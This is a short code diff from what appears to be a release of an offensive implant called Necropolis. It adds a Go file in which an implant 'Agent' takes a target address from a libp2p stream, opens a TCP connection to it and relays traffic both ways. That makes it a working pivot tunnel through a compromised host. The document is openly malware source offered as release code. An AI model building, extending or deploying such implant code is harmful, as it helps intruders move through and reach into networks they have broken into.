Necropolis v1 release

implant/core/socks.go

@@ -0,0 +1,34 @@
+package core
+
+import (
+	"bufio"
+	"io"
+	"log"
+	"net"
+	"strings"
+	"time"
+
+	"github.com/libp2p/go-libp2p/core/network"
+)
+
+func (a *Agent) handleSocksStream(s network.Stream) {
+	defer s.Close()
+
+	br := bufio.NewReader(io.LimitReader(s, 1024))
+	target, err := br.ReadString('\n')
+	if err != nil {
+		log.Printf("[implant] socks read target: %v", err)
+		return
+	}
+	target = strings.TrimSpace(target)
+
+	conn, err := net.DialTimeout("tcp", target, 10*time.Second)
+	if err != nil {
+		log.Printf("[implant] socks dial %s: %v", target, err)
+		return
+	}
+	defer conn.Close()
+
+	go io.Copy(conn, io.MultiReader(br, s))
+	io.Copy(s, conn)
+}